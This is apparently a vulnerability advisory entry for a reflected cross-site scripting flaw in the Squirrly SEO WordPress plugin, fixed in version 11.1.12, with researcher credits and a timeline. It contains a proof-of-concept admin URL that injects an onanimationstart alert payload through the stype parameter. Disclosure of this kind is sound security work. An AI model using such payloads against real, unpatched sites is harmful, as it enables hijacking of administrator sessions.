WordPress Plugin Vulnerabilities
SEO Plugin by Squirrly SEO < 11.1.12 - Reflected Cross-Site Scripting
Description
The plugin does not escape the type parameter before outputting it back in an attribute in an admin page, leading to a Reflected Cross-Site Scripting
Proof of Concept
https://example.com/wp-admin/admin.php?page=sq_bulkseo&tab&stype=%22+style%3Danimation-name%3Arotation+onanimationstart%3Dalert%28/XSS/%29+xxx&skeyword=pp
Affects Plugins
Fixed in version 11.1.12
References
Classification
Miscellaneous
Original Researcher
Krzysztof Zając
Submitter
Krzysztof Zając
Submitter website
Verified
Yes
Timeline
Publicly Published
2022-02-28 (about 6 months ago)
Added
2022-02-28 (about 6 months ago)
Last Updated
2022-04-08 (about 5 months ago)